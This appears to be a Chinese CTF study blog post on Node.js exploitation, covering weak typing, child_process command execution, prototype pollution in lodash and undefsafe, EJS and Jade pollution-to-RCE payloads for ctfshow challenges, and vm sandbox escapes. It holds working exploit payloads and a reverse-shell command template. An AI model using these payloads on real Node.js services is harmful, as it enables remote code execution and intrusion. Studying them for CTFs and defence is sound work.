Node.js特性 弱类型比较 1 2 3 4 5 6 console.log(1 =='1' ); console.log(1 >'2' ); console.log('1' <'2' ); console.log(111 >'3' ); console.log('111' >'3' ); console.log('asd' >1 );
数字与数字字符串比较时,数字型字符串会被强转之后比较。 字符串与字符串比较,比第一个ASCII码。
1 2 3 4 5 6 console.log([]==[]); console.log([]>[]); console.log([6 ,2 ]>[5 ]); console.log([100 ,2 ]<'test' ); console.log([1 ,2 ]<'2' ); console.log([11 ,16 ]<"10" );
空数组比较为false。 数组之间比较第一个值,如果有字符串取第一个比较。 数组永远比非数值型字符串小。
1 2 3 4 console.log(null ==undefined) console.log(null ===undefined) console.log(NaN==NaN) console.log(NaN===NaN)
变量拼接 1 2 3 4 console.log(5 +[6 ,6 ]); console.log("5" +6 ); console.log("5" +[6 ,6 ]); console.log("5" +["6" ,"6" ]);
ES6模板字符串 1 2 var kino = "daigua" ;console.log("hello %s" ,kino);
1 2 var kino = "daigua" ;console.log(`hello${kino}world`);
利用模板字符串可以用来bypass一些关键词的过滤
单引号和反引号 在nodejs中反引号可以用来替代单引号:
命令执行 一些危险函数 eval() 和php的差不多,动态执行指令,可以执行字符串
1 2 var code="console.log('hello kino')" ;eval(code)
假如想执行系统指令的话有下列几种方式
**spawn()**:启动一个子进程来执行命令。spawn (命令,{shell:true})。需要开启命令执行的指令。
**exec()**:启动一个子进程来执行命令,与spawn()不同的是其接口不同,它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。
execFile() :启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行 shell 命令,类似 exec。
**fork()**:与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件,实际利用中需要提前写入恶意文件
区别:
**spawn()与exec()、execFile()不同的是,后两者创建时可以指定timeout属性 **,设置超时时间, 一旦创建的进程运行超过设定的时间将会被杀死。
exec()与execFile()不同的是,**exec()适合执行已有的命令,execFile()适合执行文件 **。
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。 以上所有函数都是child_process模块中的函数
exec 1 2 var process=require('child_process' );process.exec("calc" )
execFile 1 require('child_process' ).execFile("calc" ,{shell:true });
他可以执行文件,也可以像这样调用指令,执行文件指的是执行exe这样的,而不是执行js文件,虽然也可以
1 2 3 4 5 6 7 const { execFile } = require('node:child_process' ); const child = execFile('node' , ['./calc.js' ], (error, stdout, stderr) => { if (error) { throw error; } console.log(stdout); });
fork 1 require('child_process' ).fork("./hacker.js" );
他就偏向于执行js文件了:
spawn 1 require('child_process' ).spawn("calc" ,{shell:true });
假如想要执行反弹shell,用上述的几种命令都可以,反弹shell的格式就用require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');
或者bash -c "bash -i xxx"
这两种都可以
同步和异步 上述的exec、spawn、fork等等都是分为同步和异步的,所谓异步也就是不堵塞程序的执行,因此也不可能会有回显,因此一般我们用的都是同步的命令执行来获取回显,如execSync,spawnSync等等
可能有用的一些函数 settimeout() settimeout(function,time),该函数作用是两秒后执行函数,function 处为我们可控的参数。但是只执行一次
1 2 3 4 5 6 7 8 9 10 var express = require("express" );var app = express();setTimeout(()=>{ console.log("console.log('Hacked')" ); },2000 ); var server = app.listen(1234 ,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:1234/" ); })
setinterval() setinterval (function,time),该函数的作用是每个两秒执行一次代码。 是每两秒执行一次,执行多次
1 2 3 4 5 6 7 8 9 10 11 var express = require("express" );var app = express();setInterval(()=>{ console.log("console.log('Hacked')" ); },2000 ); var server = app.listen(1234 ,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:1234/" ); })
function() function(string)(),string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。 也是执行一次,在初始化的时候就会执行
1 2 3 4 5 6 7 8 var express = require("express" );var app = express();var aaa=Function("console.log('Hacked')" )();var server = app.listen(1234 ,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:1234/" ); })
基础原型链污染 这边还是建议大家看一下离别歌师傅的文章 一句话来说js中每个类对象在实例化的时候都会拥有prototype
这个属性,代表着父类,js中就是利用该属性实现继承 其中prototype
和__proto__
2个属性之间的关系可以用如下一段代码表示
1 2 3 4 5 6 7 8 9 10 function Foo () { this .bar = 1 } Foo.prototype.show = function show () { console.log(this .bar) } let foo = new Foo ()foo.show()
foo.__proto__ == Foo.prototype
以下列copy函数为例:
1 2 3 4 5 6 7 8 9 function merge (target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
这里存在一个合并赋值的操作,如果里面的key为__proto__
那么会发生什么呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function merge (target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } var a={}var c={"a" :"test" ,"__proto__" :{"target" :"flag" }}console.log(c); merge(a,c) console.log({}.target)
输出结果如下,这里是个小坑,在我们创建c对象的时候,我们的本意是让__proto__
代表一个键名,而执行的时候程序把它已经当做了c对象的原型,因此没有被当成键,污染失败,只需在此基础上做一个小改进即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function merge (target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } var a={}var b=JSON.parse('{"a":"test","__proto__":{"target":"flag"}}' )console.log(b) merge(a,b) console.log({}.target)
污染成功,我们用JSON.parse创建对象即可 我们可以下断点一步步分析: 首先key为a,因为对象a中没有该键,所以直接进入else: 至此a对象有a这个key值了 到了__proto__
键,因为2个对象都有,因此进入下一次的递归: 我们自定义的__proto__
中只有一个target键,因此污染了a.__proto__['target']=flag
: 至此目的达成 由于对象的原型是Object,因此之后创建的每个对象都会带有污染的属性
lodash原型链污染 这里使用lodash4.17.4版本作为测试 lodash模块有以下几种污染函数,详细调试过程请看:
lodash.defaultsDeep 1 2 3 4 5 6 7 8 9 10 11 12 const mergeFn = require('lodash' ).defaultsDeep;const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}' function check () { var o={}; mergeFn(o, JSON.parse(payload)); if (({})[`a0`] === true ) { console.log(`Vulnerable to Prototype Pollution via ${payload}`); } } check();
lodash.merge 1 2 3 4 5 6 7 var lodash= require('lodash' );var payload = '{"__proto__":{"whoami":"Vulnerable"}}' ;var a = {};console.log("Before whoami: " + a.whoami); lodash.merge({}, JSON.parse(payload)); console.log("After whoami: " + a.whoami);
lodash.mergeWith 这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。mergeWith(object, sources, [customizer])
1 2 3 4 5 6 7 var lodash= require('lodash' );var payload = '{"__proto__":{"whoami":"Vulnerable"}}' ;var a = {};console.log("Before whoami: " + a.whoami); lodash.mergeWith({}, JSON.parse(payload)); console.log("After whoami: " + a.whoami);
lodash.set Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。set(object, path, value)
1 2 3 4 5 6 7 8 9 var object = { 'a' : [{ 'b' : { 'c' : 3 } }] };_.set(object, 'a[0].b.c' , 4 ); console.log(object.a[0 ].b.c); _.set(object, 'x[0].y.z' , 5 ); console.log(object.x[0 ].y.z);
1 2 3 4 5 6 7 8 9 var lodash= require('lodash' );var object_1 = { 'a' : [{ 'b' : { 'c' : 3 } }] };var object_2 = {}console.log(object_1.whoami); lodash.set(object_2, '__proto__.["whoami"]' , 'Vulnerable' ); console.log(object_1.whoami);
lodash.setWith Lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。setWith(object, path, value, [customizer])
1 2 3 4 5 6 7 8 9 var lodash= require('lodash' );var object_1 = { 'a' : [{ 'b' : { 'c' : 3 } }] };var object_2 = {}console.log(object_1.whoami); lodash.setWith(object_2, '__proto__.["whoami"]' , 'Vulnerable' ); console.log(object_1.whoami);
Undefsafe模块原型链污染 正常用法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var a = require("undefsafe" );var object = { a: { b: { c: 1 , d: [1 ,2 ,3 ], e: 'skysec' } } }; console.log(object) a(object,'a.b.e' ,'123' ) console.log(object)
我们可以看到,其可以帮助我们修改对应属性的值。如果当属性不存在时,我们想对该属性赋值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var a = require("undefsafe" );var object = { a: { b: { c: 1 , d: [1 ,2 ,3 ], e: 'skysec' } } }; console.log(object) a(object,'a.f.e' ,'123' ) console.log(object)
访问属性会在上层进行创建并赋值。
原型链污染 1 2 3 4 5 6 7 8 9 10 11 12 13 14 var a = require("undefsafe" );var object = { a: { b: { c: 1 , d: [1 ,2 ,3 ], e: 'Hnusec' } } }; var payload = "__proto__" ;var target={"flag" :"evil" }a(object,payload,target); console.log(object.flag);
1 2 3 4 5 6 7 8 9 10 11 12 13 var a = require("undefsafe" );var object = { a: { b: { c: 1 , d: [1 ,2 ,3 ], e: 'Hnusec' } } }; var payload = "__proto__.toString" ;a(object,payload,"evilstring" ); console.log(object.toString);
[网鼎杯 2020 青龙组]notes 暂时未做
safe-obj污染 ejs引擎原型链污染 这里以ctfshow的web340为例(因为源码都给我了,我直接run就好了XD)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 var createError = require ('http-errors' );var express = require ('express' );var ejs = require ('ejs' );var path = require ('path' );var cookieParser = require ('cookie-parser' );var logger = require ('morgan' );var session = require ('express-session' );var FileStore = require ('session-file-store' )(session);var indexRouter = require ('./routes/index' );var loginRouter = require ('./routes/login' );var apiRouter = require ('./routes/api' );var app = express ();var identityKey = 'auth' ; app.use (session ({ name : identityKey, secret : 'ctfshow_session_secret' , store : new FileStore (), saveUninitialized : false , resave : false , cookie : { maxAge : 60 * 60 * 1000 } })); app.set ('views' , path.join (__dirname, 'views' )); app.engine ('html' , require ('ejs' ).__express ); app.set ('view engine' , 'html' ); app.use (logger ('dev' )); app.use (express.json ()); app.use (express.urlencoded ({ extended : false })); app.use (cookieParser ()); app.use (express.static (path.join (__dirname, 'public' ))); app.use ('/' , indexRouter); app.use ('/login' , loginRouter); app.use ('/api' ,apiRouter); app.use (function (req, res, next ) { next (createError (404 )); }); app.use (function (err, req, res, next ) { res.locals .message = err.message ; res.locals .error = req.app .get ('env' ) === 'development' ? err : {}; res.status (err.status || 500 ); res.render ('error' ); }); module .exports = app;
单看app.js可以发现引用了ejs模板引擎对页面进行渲染 在login.js存在污染:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; } utils.copy (user.userinfo ,req.body ); if (user.userinfo .isAdmin ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } }); module .exports = router;
utils.copy
这里就存在一个原型链污染,但是注意一下是一个双层的,因为传入的参数为user.userinfo
套了个娃,这里就不多说是怎么解题的了,我们主要是分析ejs污染 我们把环境开起来,然后在login界面抓包:{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}}
这是我们的payload,接下来只需要继续访问一次就会触发命令执行: 我们下了断电,就一步步的分析一下: 首先进入response.js里的app.render,继续跟进: 又进入了application.js里的tryRender,从调试结果可以看出原型已经被污染了,现在是追溯怎么RCE的,继续跟进: 继续跟进: 这下到了ejs.js模块里去了,从这里开始重点分析,继续跟进: 在这里需要注意opts.outputFunctionName
,这个属性默认是为undefined,我们这此污染了原型的这个属性,这个属性在哪里被利用了呢?继续看看: 他被拼贴了起来赋值给了prepened对象,我们继续看看prepended最后去了哪: 连着appened属性一起被拼贴到了this.source
中: 然后进入了这一步,这一步是重点,ctor
为Function,最后new了一个fn对象,fn对象也就是Function实例化出的,其中的src就是之前的this.source
可以理解为是一个匿名函数:
1 2 3 4 5 6 7 8 var person = { age :3 } var myFunction = new Function ("a" , "return 1*a*this.age" );myFunction.apply (person,[2 ])
它的apply方法用法就如上,最后fn调用了apply方法: 进入Template.compile函数: 虽然进入cb函数: 最后弹出计算机,这剩下的几个步骤也就是渲染模板然后返回结果,我们重点是在apply方法上,在那儿对outputFunctionName
属性调用
jade引擎原型链污染 CTFSHOW的题真的太好用了(bushi 初期调试例子就看上面的文章就好了,感觉分析的不错 这里以Web342为例子 app.js内改了engine为jade 先贴2个payload:
1 2 3 {"__proto__" :{"__proto__" : {"type" :"Block" ,"nodes" :"" ,"compileDebug" :1 ,"self" :1 ,"line" :"global.process.mainModule.require('child_process').exec('calc')" }}} ----------------------------------------------------------------------- {"__proto__" :{"compileDebug" :1 ,"self" :1 ,"line" :"console.log(global.process.mainModule.require('child_process').execSync('calc'))" }}
你会发现下面的链子打不通,因此需要分析一波 报错信息中的调用栈如下 可以发现Compiler.visitNode
,我们跟进下个断点: node.type会出现为undefined的情况,因此污染的时候顺带type也得污染了 把所有visitxxx都测了一变结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 visitAttributes visitEach visitCode √ visitBlockComment√ visitComment√ visitText visitFilter visitTag visitMixin visitDoctype√ visitMixinBlock√ visitBlock visitLiteral visitWhen visitCase visitNode
至此也告一段落了
vm沙盒逃逸 上述文章我觉得对vm沙盒逃逸讲的很透彻,感兴趣的可以去看看,真滴不戳 vm逃逸最重要的就是一个作用域的问题,如何逃离vm创建的作用域,逃离到global去,然后获取到process对象,进而用process去引用require命令执行
1 2 3 4 5 6 7 8 9 10 11 const util = require ('util' );const vm = require ('vm' );const sandbox = {animal : 'cat' ,count : 2 }; const script = new vm.Script ('count += 1; name = "kitty";' );const context = vm.createContext (sandbox);script.runInContext (context); console .log (util.inspect (sandbox));
1 2 3 4 5 6 7 8 const util = require ('util' ); const vm = require ('vm' ); global .globalVar = 3 ; const sandbox = { globalVar : 1 }; vm.createContext (sandbox); vm.runInContext ('globalVar *= 2;' , sandbox); console .log (util.inspect (sandbox)); console .log (util.inspect (globalVar));
上述2个简单例子介绍了一下vm模块用法,下面来看看是怎么逃逸的
1 2 3 4 "use strict" ;const vm = require ("vm" );const y1 = vm.runInNewContext (`this.constructor.constructor('return process.env')()` );console .log (y1);
从结果可以得知已经得到了process,注意代码的this.constructor.constructor
首先这里面的this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境的。第一个constructor得到的是这个this对象的构造器,第二个constructor得到的是构造器对象的构造器,也就是Function的Constructor,最后的()是调用这个用Function的constructor生成的函数,最终返回了一个process对象 然后就可以rce了y1.mainModule.require('child_process').execSync('whoami').toString()
vm逃逸的一些bypass this为null 如果遇到传入sandbox的对象为null时,该怎么办呢,如下
1 2 3 4 5 6 const vm = require ('vm' );const script = `...` ;const sandbox = Object .create (null );const context = vm.createContext (sandbox);const res = vm.runInContext (script, context);console .log ('Hello ' + res)
此时this->null,无法像之前一样逃逸,这时候就得用到函数的一个内置对象属性arguments.callee.caller
,详情自行google,他返回的是函数的调用者,这部分的东西讲的可能不太清楚,所以就不讲了 我们上面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,这种情况下也是一样的,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const vm = require ('vm' );const script = `(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString() } return a })()` ;const sandbox = Object .create (null );const context = new vm.createContext (sandbox);const res = vm.runInContext (script, context);console .log ('Hello ' + res)
成功执行了命令 分析一下这段代码,首先是箭头函数: 重写了沙盒对象中的toString方法,然后再console.log触发,通过arguments.callee.caller
获取到了一个沙盒外的对象,进而和上面一样获取process
proxy劫持 如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性
proxy就是一个hook函数,在我们去访问对象的属性时(不管是否存在)都会触发这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const vm = require ("vm" );const script = ` (() =>{ const a = new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) return a })() ` ;const sandbox = Object .create (null );const context = new vm.createContext (sandbox);const res = vm.runInContext (script, context);console .log (res.abc )
如上代码就是将对象a实例化为了一个Proxy对象,然后访问abc属性(不存在)触发get方法,进而导致命令执行
借助异常处理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 const vm = require ("vm" );const script = ` throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) ` ;try { vm.runInContext (script, vm.createContext (Object .create (null ))); }catch (e) { console .log ("error:" + e) }
上述代码的返回值无法直接利用,应该说是没有返回值 这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。
vm2逃逸 vm2只是在vm的基础上进行了封装
详细的话就在网上搜一搜吧,已经写麻了
还有就是github上一些poc,举个例子
[HFCTF2020]JustEscape 原型链污染的bypass __proto__过滤 过滤了__proto__
可以考虑在末尾加空格__proto__
,或者使用obj.constructor.prototype
来代替,obj.constructor.prototype==obj.__proto__
string.includes()绕过 使用数组可以进行绕过
Nodejs 8.12 请求走私 参考CVE-COLLECTION中